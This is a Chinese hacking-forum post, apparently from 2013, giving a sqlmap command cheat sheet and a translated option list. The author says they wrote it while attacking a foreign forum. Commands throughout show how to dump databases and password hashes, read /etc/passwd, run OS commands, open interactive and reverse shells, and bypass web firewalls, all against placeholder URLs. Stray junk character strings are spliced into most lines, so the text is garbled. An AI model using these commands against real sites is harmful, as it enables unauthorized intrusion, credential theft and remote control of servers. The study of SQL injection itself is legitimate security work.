中国网络渗透测试联盟

标题: sqlmap注入命令的使用方法 [打印本页]

作者: admin    时间: 2013-4-4 22:26
标题: sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
: S, U: p3 g0 O* o7 }1 V( j3 Psqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称7 M6 [4 O; G+ S& d
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
, ?: M  N" ?* \8 G/ asqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
0 A, f# B. H9 j2 `- |5 L
! _/ {+ ^- Y( Zsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
3 }! b1 j8 R7 R7 N0 #获取字段内容6 {+ S) ?& [( h$ {
( w6 @4 g8 I. {0 `/ J) f
******************信息获取******************
, s' `* w3 }" r# n- F4 Y7 d4 Jsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型* X/ t0 |8 w; X: ~) T* ]0 l( y, b
sqlmap -u “http://url/news?id=1″ –users #列数据库用户; ^1 }+ d' a5 f
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
7 g6 E1 E4 I6 o0 Ysqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码3 S5 f& ^  ?1 Z# G
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码6 K3 d. A+ v7 E$ t1 _
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
: @' J, u4 S5 W2 s  Y–start 1 –stop 20 #列出指定字段,列出20 条
) P# R$ l6 k( [  A  S9 Y* G  ]sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表- K" M- C9 i3 h
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
6 i, {6 S5 Q! d* B) ]7 @sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
1 V; e; D  e& a: osqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
2 O) f! }' q- |+ t; E; s8 O4 G, gsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
5 u% [6 l  [/ ^; j" D) Usqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
3 r  m( g) @6 fsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入! B5 Q( ]1 U. e
sqlmap -u “http://url/news?id=1″-b #获取banner信息5 k( a: Y8 F; g: b9 L0 g
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入8 X$ Y5 w4 f. |  v
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
% I6 m2 F: u, q4 s+ ^4 w5 Z: x" osqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
: N  ~. x( j  h' u3 ^sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
2 m2 T) Z- i3 C1 [- |4 H8 [1 Y0 Msqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
$ P* G" \/ d) v% g4 C3 v1 @sqlmap -u “http://url/news?id=1″ –file /etc/passwd
" T7 s8 F% {+ msqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
( r! k6 {" S9 d8 [8 R: fsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell# ?; t9 k% R: Q! e
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
' h1 H$ j4 B; c: Z/ zsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度6 R* J, t: g2 i
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
6 X: k' {* P  n5 J/ n***********高级用法*************! D# d9 z) C  y; Z+ B
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入) X: N+ ?7 E& i
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问6 Q6 Y4 b0 S! R! |3 N& S  d
–technique   测试指定注入类型\使用的技术8 r1 e9 p) V6 y2 R  {6 `
不加参数默认测试所有注入技术! k* P* X$ @3 n2 ^
•     B: 基于布尔的SQL 盲注
3 K* r- m4 Q  v, G•     E: 基于显错sql 注入8 q& P8 E" a( K1 X: I5 y( D
•     U: 基于UNION 注入6 A. W1 ^' J: C% n
•     S: 叠层sql 注入
# M, R6 d  V8 F# m/ d0 T. X•     T: 基于时间盲注8 n' B5 w6 e3 D5 t3 K& E3 G6 H
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char(). y- m; H3 Z6 u( x, H6 j# T/ ?2 x
–tamper 插件所在目录
, K. H4 _4 }; C\sqlmap-dev\tamper
0 Q# a$ U$ y! ?sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能) X4 a$ f2 J$ l3 O% T9 E
level 执行测试等级 攻击实例:& b+ }4 J& b4 f" h
Sqlmap -u “http://url/news?id=1&Submit=Submit”$ N& w9 s& f/ S6 H
–cookie=”PHPSESSID=41aa833e6d0d4 F: g& @  e: U2 Q
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user/ C0 `$ @+ {3 v4 n: N/ Y% c3 h9 i
–password5 W& s8 ~5 H- F; j0 H2 E+ _6 @# b
参考文档:http://sqlmap.sourceforge.net/doc/README.html+ U3 s& a3 b8 t. @/ U5 G# Q
***********安装最新版本*************
8 y3 \% d( x1 C0 a# N$ H- Pubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版6 N# @" U1 K0 P) ~
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
+ x( ~8 b0 k0 w$ o; |安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件+ X; d, s7 Y1 }1 \$ S. l# F
sudo vim /home/当前用户/.bashrc' [/ ]* |- z. K# S; c: `- k
#任意位置加上:
% j( C" G1 v5 t3 @! Q- s; Lalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
( a- n" `9 M, J- W如果想对所有用户有效 可设置全局 编辑下面的文件3 ~: N7 a% C# d% t/ A
vim /etc/profile
4 M% O6 F5 A: l$ W  R+ j/ u1 o同样加上:
7 E9 ~. H) F/ f4 z: O) balias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
3 d6 h0 ^1 R) }3 _) t; _******************windows 7 (x64) sqlmap install (SVN)************
! o6 _8 j; V6 ?7 g& z$ Ehttp://www.python.org/getit/ 安装python3 ^. D( {- e& [7 R
http://www.sliksvn.com/en/download 安装windows svn client. c( ~4 E, a8 k7 u5 |
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
/ c; b5 p4 S: \4 r4 ]+ {4 }  V安装sqlmap+ ?# o- a# @; w9 e& n$ J0 f
*修改环境变量1 q/ j; S& k0 W5 q1 |! f6 `; X( p
–version             显示程序的版本号并退出6 d: i7 f# e0 V( O! a7 {1 a
-h, –help            显示此帮助消息并退出) H# b4 P4 ], X3 x9 k- c2 ~
-v VERBOSE            详细级别:0-6(默认为1)
$ A2 g* {2 E2 {5 D# j$ t- kTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。/ P) Y/ k/ Y& y1 @
-d DIRECT           直接连接到数据库。
( S0 J& b2 ]) _" b4 D% {-u URL, –url=URL   目标URL。
0 ^/ a  v, e: [+ K3 ~, ~-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
3 w# E2 ]: T) J' r* f. Y-r REQUESTFILE      从一个文件中载入HTTP 请求。
+ Y; F1 W5 q8 R1 n5 P2 Q-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
: O2 l/ N, r) v) R/ W. D$ n-c CONFIGFILE       从INI 配置文件中加载选项。2 R5 Y: u" d. I, I3 D0 y3 @) G
Request(请求)::
1 l0 `# f: [( \8 {7 |" Z& U3 \这些选项可以用来指定如何连接到目标URL。
2 i4 q2 [4 v: l6 n9 x+ h2 i$ o9 ^–data=DATA         通过POST 发送的数据字符串
6 Z" f5 O2 P, f% ~4 G2 o6 L–cookie=COOKIE     HTTP Cookie 头+ X* L& ^8 f4 c6 w
–cookie-urlencode  URL 编码生成的cookie 注入) M* h3 s/ n7 Y9 e
–drop-set-cookie   忽略响应的Set –Cookie 头信息/ M+ F% {2 [9 k- d( q1 V& ?3 G
: F) N- `: A/ k
–user-agent=AGENT  指定  HTTP User –Agent 头
( ?/ t( {' ~5 T7 ^# ]/ L, x–random-agent      使用随机选定的HTTP User –Agent 头7 [# N* p( y+ p4 {5 W
–referer=REFERER   指定  HTTP Referer 头* Z4 a# \9 T0 _% L, m
–headers=HEADERS   换行分开,加入其他的HTTP 头/ U" Q3 A' b7 x, w/ H  \
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
- q( i8 R  n6 c9 Z( |+ g. [–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码). V  t% }$ W1 N8 V. [4 F
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
% \: \# e8 B( H# i3 ~: ?# n. w–proxy=PROXY       使用HTTP 代理连接到目标URL. b) ]* S' Z" G' a4 x, U3 j8 ^
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)$ [0 l- y; E- U$ h$ l
–ignore-proxy      忽略系统默认的HTTP 代理
+ ?" ], O8 R$ L9 T–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒+ g0 U; Z/ k" a5 S2 e* z
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
5 g' o1 C" [! ]& X" ~–retries=RETRIES   连接超时后重新连接的时间(默认3): R" A$ t( L7 O/ j* g4 @& K
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
2 _. A2 ^9 s( m8 i/ L/ I, s$ q–safe-url=SAFURL   在测试过程中经常访问的url 地址7 U) P! h& `9 j1 _1 n
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
* p0 A* I3 m% h$ }Optimization(优化): 这些选项可用于优化SqlMap 的性能。
! u( p; W2 O7 N-o                  开启所有优化开关
, a* F. T3 v, o3 S4 C" {, F–predict-output    预测常见的查询输出( v* D% D% v2 \: M
–keep-alive        使用持久的HTTP(S)连接
$ \! ~( ~1 y" Y–null-connection   从没有实际的HTTP 响应体中检索页面长度: p+ Y# z- S, M
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
" ?% }! H; u; g: K9 A7 o, EInjection(注入):9 M2 g5 B% N9 V& b3 p) j9 u5 j
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
5 y% r, ?# V0 k. }-p TESTPARAMETER    可测试的参数(S)
4 r" i; G8 M2 C5 u/ W; r. _–dbms=DBMS         强制后端的DBMS 为此值
, v9 c: ]. I# E–os=OS             强制后端的DBMS 操作系统为这个值$ z9 ~8 E; }; b' a$ O
–prefix=PREFIX     注入payload 字符串前缀# v8 b* s0 |: Y
–suffix=SUFFIX     注入 payload 字符串后缀: N: f) T- O7 F% l: ^0 L: f& r
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据6 }% t- w0 d; p( @0 u
Detection(检测):3 `# w4 i0 }2 U. \4 ?
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。/ {. D3 G, \' g' B, n
–level=LEVEL       执行测试的等级(1-5,默认为1)
( `- v( H* R; t8 Q–risk=RISK         执行测试的风险(0-3,默认为1)
2 i7 s/ b. A1 T–string=STRING     查询时有效时在页面匹配字符串" p* X/ W3 @3 ]: a, T1 j
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
- D5 }, F* f% ?- b6 C4 }6 E. a–text-only         仅基于在文本内容比较网页. L" H1 |8 H8 `1 h, Q# G
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
/ o+ o7 a2 {1 A* H2 y: B3 j- z–technique=TECH    SQL 注入技术测试(默认BEUST)
/ Z+ e: s7 B: q–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
; s8 ~6 [% E( A) }3 X: I$ v+ u–union-cols=UCOLS  定列范围用于测试UNION 查询注入+ d# N' O9 Y7 J$ n" N
–union-char=UCHAR  用于暴力猜解列数的字符
% m, j1 `; N; P8 GFingerprint(指纹):& m7 J+ I7 W% B  U
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
: r" |( \8 A3 ^/ h* ^& W6 L) rEnumeration(枚举):
! o3 J! k1 b5 a) X9 T6 V) }7 ~6 p
# G3 ^8 y8 I( s7 K这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
2 s" Z( L- D- E  N-b, –banner        检索数据库管理系统的标识; E/ \& S8 ^0 y( q2 Y
–current-user      检索数据库管理系统当前用户) I  D% l6 `) t
–current-db        检索数据库管理系统当前数据库1 J- c' @, m7 u, M" o
–is-dba            检测DBMS 当前用户是否DBA
4 C) o* s9 A, Z* y  B% H. f–users             枚举数据库管理系统用户( b) @1 c5 Z9 U" a
–passwords         枚举数据库管理系统用户密码哈希
! I; I+ i' F$ u8 L& b–privileges        枚举数据库管理系统用户的权限" ~) C: h# d/ N; F1 o8 c: O) P
–roles             枚举数据库管理系统用户的角色
$ B4 d* U' U% }( \" Y–dbs               枚举数据库管理系统数据库7 _8 l; ~& q- t; u
–tables            枚举的DBMS 数据库中的表  I# C; ?9 H0 W0 f. P4 V% a
–columns           枚举DBMS 数据库表列% U9 q' t/ O- J) m, \
–dump              转储数据库管理系统的数据库中的表项
$ G$ r1 O/ y% J8 }2 {) Y–dump-all          转储所有的DBMS 数据库表中的条目/ i- i( Q. m* g, Y
–search            搜索列(S),表(S)和/或数据库名称(S)5 E! V" `8 _0 F, \, K" Z
-D DB               要进行枚举的数据库名
" `3 |. c& @1 I2 j4 C8 b  b-T TBL              要进行枚举的数据库表4 _2 M  m5 a  H; ~+ @
-C COL              要进行枚举的数据库列
1 H# o7 n, D: K3 i% z-U USER             用来进行枚举的数据库用户
) `& ^& @, s; n* r1 _" o4 Z–exclude-sysdbs    枚举表时排除系统数据库8 |# q' F! K4 @' Z
–start=LIMITSTART  第一个查询输出进入检索# Z5 x, n3 g! P8 c  D' d6 I
–stop=LIMITSTOP    最后查询的输出进入检索
; k% g3 P: x- |2 w  Y( ^–first=FIRSTCHAR   第一个查询输出字的字符检索
+ }( V* h7 m/ l1 n6 Q  Q2 m–last=LASTCHAR     最后查询的输出字字符检索
/ t5 t7 J# g6 f. H; v–sql-query=QUERY   要执行的SQL 语句, c& @% s7 a  O$ {  U
–sql-shell         提示交互式SQL 的shell2 m' Z* T7 A6 E  X" `
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。% P7 t2 w! y& ^7 ~
–common-tables     检查存在共同表  W4 m# w2 k3 b6 K. O% `% o9 n
–common-columns    检查存在共同列5 G3 C5 ^4 K1 h8 z1 R9 ~6 m5 P
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。$ z0 N/ d9 F% f5 C
–udf-inject        注入用户自定义函数
) j; ?8 g" T2 D! ^–shared-lib=SHLIB  共享库的本地路径- o0 k# t: B/ Z8 `; d
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。( @: C- y, Q1 w; T0 ~- d& B% f+ t+ c
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件1 n% F  u4 n2 m9 a6 @
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件6 A& ^1 L2 m; j5 C! v3 H
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径, |6 y/ C: Y  `. ]1 A6 F1 o  n
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。5 Q) C$ y& I) l! P6 m+ K7 |
–os-cmd=OSCMD      执行操作系统命令% S9 @3 r4 Q' B1 {8 O2 h
–os-shell          交互式的操作系统的shell
, Q9 V4 \* x/ I0 r/ l6 w- R6 A# j–os-pwn            获取一个OOB shell,meterpreter 或VNC6 Y% }" ~% H' H% }" _2 f. M' ?
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC1 t5 `# ~2 ]' E" z$ H
–os-bof            存储过程缓冲区溢出利用% w4 @4 o1 D( N/ p
–priv-esc          数据库进程用户权限提升9 [$ D. ?5 i6 a' o
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
$ D! K" @6 n, L: {–tmp-path=TMPPATH  远程临时文件目录的绝对路径
6 K, k1 I# G0 V) G
# G7 ~$ v( [1 c. cWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。5 o- ~7 [0 x2 `% x, G
–reg-read          读一个Windows 注册表项值6 U( z# z' Z+ E5 W% P
–reg-add           写一个Windows 注册表项值数据
; q: `* }, G5 a* ^& y( P+ Y–reg-del           删除Windows 注册表键值
- E0 F! P; O) m; f2 `) K) I8 q–reg-key=REGKEY    Windows 注册表键
1 K, j* y& r/ I* C9 q  A2 O2 s. {–reg-value=REGVAL  Windows 注册表项值
4 S4 b4 J* t2 {; ?, |' u: c4 J9 n' u–reg-data=REGDATA  Windows 注册表键值数据
- M9 I5 L9 E, ]–reg-type=REGTYPE  Windows 注册表项值类型3 [* h# J0 D/ Y& o/ {
General(一般): 这些选项可以用来设置一些一般的工作参数。/ h. ?0 r( _- o" ~5 C
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中( r0 w' T+ D2 w  g
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
" K2 v2 @+ S( }" m; Y& i! e0 l–flush-session     刷新当前目标的会话文件
, @8 I4 g9 y3 ^+ u–fresh-queries     忽略在会话文件中存储的查询结果
0 |: _  J9 g" K! O–eta               显示每个输出的预计到达时间
- p7 ^& {. {; ~0 ?5 H! S# u2 o–update            更新SqlMap. n* _9 G8 q/ T2 J- V9 S2 @5 p& p: {
–save              file 保存选项到INI 配置文件, @" f! o7 ]5 e& F) l* q% K! U' H7 O% L! {
–batch             从不询问用户输入,使用所有默认配置。/ P  s% @" R' i& C: {
Miscellaneous(杂项):
: J4 o  h2 G7 d1 L: M–beep              发现SQL 注入时提醒
3 ?8 `  f+ w$ N# r2 H/ ~–check-payload     IDS 对注入payloads 的检测测试- @  r7 ~, y7 Q/ }  \
–cleanup           SqlMap 具体的UDF 和表清理DBMS
1 ?, @# |5 N# x% g% Y–forms             对目标URL 的解析和测试形式
4 x; {$ g* q/ i2 ?0 c1 r) R) u4 h0 X–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
0 o6 y8 I6 l2 E* y# |* p–page-rank         Google dork 结果显示网页排名(PR)
. R& U5 z  {% X–parse-errors      从响应页面解析数据库管理系统的错误消息
5 T, y  O9 b1 b' ]–replicate         复制转储的数据到一个sqlite3 数据库
) e+ e& d% s1 S( M–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
' e: `+ J" w' b0 w–wizard            给初级用户的简单向导界面




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2